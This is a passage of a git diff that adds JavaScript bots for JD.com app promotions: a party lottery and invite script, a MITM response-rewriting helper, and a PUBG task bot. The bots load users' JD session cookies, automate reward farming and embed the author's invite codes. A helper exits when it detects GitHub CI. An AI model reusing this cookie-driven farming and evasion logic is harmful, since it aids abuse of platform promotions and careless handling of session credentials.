$.wait(5000); + //} + //预约 + //await $.wait(2000); + //await takePostRequest('partyTonight_remind'); +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'partyTonight_init': + body = `functionId=partyTonight_init&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_init`, body); + break; + case 'partyTonight_remind': + body = `functionId=partyTonight_remind&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_remind`, body); + break; + case 'partyTonight_assist': + body = `functionId=partyTonight_assist&body={"inviteCode":"${$.inviteCode}"}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_assist`, body); + break; + case 'partyTonight_lottery': + body = `functionId=partyTonight_lottery&body={}&client=wh5&clientVersion=1.0.0&uuid=`; + myRequest = getPostRequest(`partyTonight_lottery`, body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'partyTonight_init': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + $.mainInfo = data.data.result; + $.inviteCode = $.mainInfo.inviteCode; + console.log(`邀请码:${$.inviteCode}`); + if($.mainInfo.assistStatus === 4){ + console.log(`助力已满`); + }else{ + $.inviteCodeList.push( + { + 'inviteCode':$.inviteCode, + 'use':$.UserName, + 'max':false + } + ) + } + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'partyTonight_remind': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + console.log(`预约成功,获得:${data.data.result.remindRedPacketValue}`) + }else if(data.code === 0 && data.data && data.data.bizCode === -201){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'partyTonight_assist': + if (data.code === 0 && data.data && (data.data.bizCode === -303 || data.data.bizCode === -1001)) { + $.canHelp = false + }else if (data.code === 0 && data.data && data.data.bizCode === -304) { + $.oneInviteInfo.max = true; + } + console.log(JSON.stringify(data)); + break; + case 'partyTonight_lottery': + if (data.code === 0 && data.data && data.data.bizCode === 0) { + let result = data.data.result; + if(result.type === 1){ + console.log(`获得红包:${result.hongbaoValue}`); + }else if(result.type === 2){ + console.log(`获得优惠券:`); + }else if(result.type === 3){ + console.log(`获得京豆:${result.beanCount}`); + }else{ + console.log(JSON.stringify(data)); + } + }else { + $.runFlag = false; + console.log(JSON.stringify(data)); + } + break; + default: + } +} + +function getPostRequest(type, body) { + const url = `https://api.m.jd.com/`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://h5static.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : $.cookie, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Host' : `api.m.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `https://h5static.m.jd.com/babelDiy/Zeus/qEfNdq9oRsJfhYJ7XR1EahyLt9L/index.html`, + 'Accept-Language' : `zh-cn` + }; + return {url: url, method: method, headers: headers, body: body}; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/activity/jd_petTreasureBox.js b/activity/jd_petTreasureBox.js new file mode 100644 index 0000000..2d0e69b --- /dev/null +++ b/activity/jd_petTreasureBox.js @@ -0,0 +1,62 @@ +/* +更新时间:2020-11-12 +活动入口:京东APP我的-更多工具-宠汪汪 +从github@Zero-S1搬的[https://github.com/Zero-S1/JD_tools/blob/master/jbp.js] +【宠汪汪聚宝盆辅助脚本】 +1、进入聚宝盆,显示本轮狗粮池投入总数,方便估算 +2、可能有两位数误差,影响不大 +3、聚宝盆最下方显示上轮前六名的投入狗粮,收入积分,以及纯收益(即:收入积分 - 投入狗粮) +new Env('聚宝盆投狗粮辅助');//此处忽略即可,为自动生成iOS端软件配置文件所需 +[MITM] +hostname = jdjoy.jd.com,draw.jdfcloud.com + +==========Surge============= +[Script] +聚宝盆投狗粮辅助 = type=http-response,pattern=^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox,requires-body=1,max-size=0,script-path=jd_petTreasureBox.js + +===================Quantumult X===================== +[rewrite_local] +^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox url script-response-body jd_petTreasureBox.js + +=====================Loon===================== +[Script] +http-response ^https:\/\/jdjoy\.jd\.com\/pet\/getPetTreasureBox|^https:\/\/draw\.jdfcloud\.com\/\/pet\/getPetTreasureBox script-path=jd_petTreasureBox.js, requires-body=true, timeout=3600, tag=聚宝盆投狗粮辅助 + +*/ +let body = $response.body; +try { + body = JSON.parse(body) + food = body['data']['food'] + function f(v) { + return (v < 0) ? v : `+${v}`; + } + var sum = 0 + lastHourWinInfos = body["data"]["lastHourWinInfos"] + for (var i in lastHourWinInfos) { + sum += lastHourWinInfos[i]["petCoin"] + } + for (var i in lastHourWinInfos) { + body["data"]["lastHourWinInfos"][i]["petCoin"] = `{${lastHourWinInfos[i]["food"]}} [${lastHourWinInfos[i]["petCoin"]}] (${f(lastHourWinInfos[i]["petCoin"] - lastHourWinInfos[i]["food"])}) ` + } + + body["data"]["lastHourWinInfos"].unshift({ + 'pin': "", + 'nickName': '', + 'investHour': lastHourWinInfos[0]['investHour'], + 'stage': '2', + 'food': 0, + 'rank': 0, + 'foodDif': "", + 'petCoin': '{投} [收入] (纯收入)', + 'userTag': "", + 'win': true + }) + lastTurnFood = parseInt(sum / 0.09 * 0.91) + body['data']['food'] = `${food} (+${food - lastTurnFood})` + body = JSON.stringify(body) +} catch (e) { + console.log(e) +} finally { + $done({ body }) +} + diff --git a/activity/jd_pubg.js b/activity/jd_pubg.js new file mode 100644 index 0000000..ffa9474 --- /dev/null +++ b/activity/jd_pubg.js @@ -0,0 +1,514 @@ +/* +PUBG ,运行时间会比较久,Surge请加大timeout时间 +脚本会给内置的码进行助力 +活动于2020-12-13日结束 +活动地址:https://starsingle.m.jd.com/static/index.html#/?fromChangeSkinNum=PUBG +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#PUBG +10 0 * * * jd_pubg.js, tag=PUBG, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_pubg.js,tag=PUBG + +===============Surge================= +PUBG = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_pubg.js + +============小火箭========= +PUBG = type=cron,script-path=jd_pubg.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('PUBG'); +!function(n) { + "use strict"; + function t(n, t) { + var r = (65535 & n) + (65535 & t); + return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r + } + function r(n, t) { + return n << t | n >>> 32 - t + } + function e(n, e, o, u, c, f) { + return t(r(t(t(e, n), t(u, f)), c), o) + } + function o(n, t, r, o, u, c, f) { + return e(t & r | ~t & o, n, t, u, c, f) + } + function u(n, t, r, o, u, c, f) { + return e(t & o | r & ~o, n, t, u, c, f) + } + function c(n, t, r, o, u, c, f) { + return e(t ^ r ^ o, n, t, u, c, f) + } + function f(n, t, r, o, u, c, f) { + return e(r ^ (t | ~o), n, t, u, c, f) + } + function i(n, r) { + n[r >> 5] |= 128 << r % 32, + n[14 + (r + 64 >>> 9 << 4)] = r; + var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; + for (e = 0; e < n.length; e += 16) + i = l, + a = g, + d = v, + h = m, + g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), + l = t(l, i), + g = t(g, a), + v = t(v, d), + m = t(m, h); + return [l, g, v, m] + } + function a(n) { + var t, r = "", e = 32 * n.length; + for (t = 0; t < e; t += 8) + r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); + return r + } + function d(n) { + var t, r = []; + for (r[(n.length >> 2) - 1] = void 0, + t = 0; t < r.length; t += 1) + r[t] = 0; + var e = 8 * n.length; + for (t = 0; t < e; t += 8) + r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; + return r + } + function h(n) { + return a(i(d(n), 8 * n.length)) + } + function l(n, t) { + var r, e, o = d(n), u = [], c = []; + for (u[15] = c[15] = void 0, + o.length > 16 && (o = i(o, 8 * n.length)), + r = 0; r < 16; r += 1) + u[r] = 909522486 ^ o[r], + c[r] = 1549556828 ^ o[r]; + return e = i(u.concat(d(t)), 512 + 8 * t.length), + a(i(c.concat(e), 640)) + } + function g(n) { + var t, r, e = ""; + for (r = 0; r < n.length; r += 1) + t = n.charCodeAt(r), + e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); + return e + } + function v(n) { + return unescape(encodeURIComponent(n)) + } + function m(n) { + return h(v(n)) + } + function p(n) { + return g(m(n)) + } + function s(n, t) { + return l(v(n), v(t)) + } + function C(n, t) { + return g(s(n, t)) + } + function A(n, t, r) { + return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) + } + $.md5 = A +}(this); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://starsingle.m.jd.com/guardianstar/'; +const inviteCodes = ['65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5@a3551e1d-fb07-40f0-b9ad-d50e4b480098@696cfa20-3719-442a-a331-0e07beaeb375@718868ed-2202-465d-b3a4-54e76b30d02a','65561ad5-af72-4d1c-a5be-37b3de372b67@2d5f579d-e6d1-479e-931f-c275d602caf5'] +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await helpFriends(); + await taskList(); + message += `已做完任务,共计获得京豆 ${$.bean}\n` + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await helpFriend(code); + } +} + +function taskList(get=1) { + return new Promise(resolve => { + $.get(taskUrl("getHomePage", ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let vo = data.data[0] + if (vo.shareId) console.log(`您的${$.name}好友助力码为:${vo.shareId}`) + for (let i = 0; i< vo.venueList.length;++i){ + let venue = vo.venueList[i] + if(venue.venueStatus === 1) { + console.log(`【浏览会场】`) + await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=venue&id=${venue.venueId}&status=2`) + } + } + for (let i = 0; i< vo.productList.length;++i){ + let product = vo.productList[i] + if(product.productStatus === 1) { + console.log(`【浏览商品】去浏览商品 ${product.productName}`) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) + } if(product.productStatus === 2) { + console.log(`【浏览商品】浏览商品 ${product.productName}未领奖,去领奖`) + await doTask(`starId=PUBG&type=product&id=${product.productId}&status=2`) + } else{ + console.log(`【浏览商品】${product.productName}已做过`) + } + } + for (let i = 0; i< vo.shopList.length;++i){ + let shop = vo.shopList[i] + if(shop.shopStatus === 0 || shop.shopStatus === 1) { + console.log(`【关注店铺】去关注店铺 ${shop.shopName}`) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=1`) + await $.wait(10000) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) + } if(shop.shopStatus === 2) { + console.log(`【关注店铺】关注店铺 ${shop.shopName}未领奖,去领奖`) + await doTask(`starId=PUBG&type=shop&id=${shop.shopId}&status=2`) + }else{ + console.log(`【关注店铺】${shop.shopName} 已做过`) + } + } + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function helpFriend(code) { + let body = `shareId=${code}` + return new Promise(resolve => { + $.post(taskPostUrl(body,'doSupport'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 200){ + console.log(`助力好友 ${code} 成功`) + }else{ + console.log(`助力好友 ${code} 失败, ${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200){ + if(data.data.bean){ + console.log(`任务完成,获得京豆 ${data.data.bean}`) + message += `任务完成,获得京豆 ${data.data.bean}\n` + $.bean += data.data.bean + } else{ + console.log(`任务领取完成`) + } + } else if(data.code === 1005){ + console.log(`任务已做过`) + } else{ + console.log(`未知错误,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function sign(t,e,n) { + var a = "" + , i = n.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) + a = t + i; + else if ("object" == typeof (t)) { + var r = []; + for (var s in t) + r.push(s + "=" + t[s]); + a = r.length ? r.join("&") + i : i + } + } else + a = i; + if (a) { + var o = a.split("&").sort().join(""); + return $.md5(o + e) + } + return $.md5(e) +} + +function taskUrl(function_id, body = {}) { + let t = getTs() + return { + url: `${JD_API_HOST}${function_id}?t=${t}`, + headers: 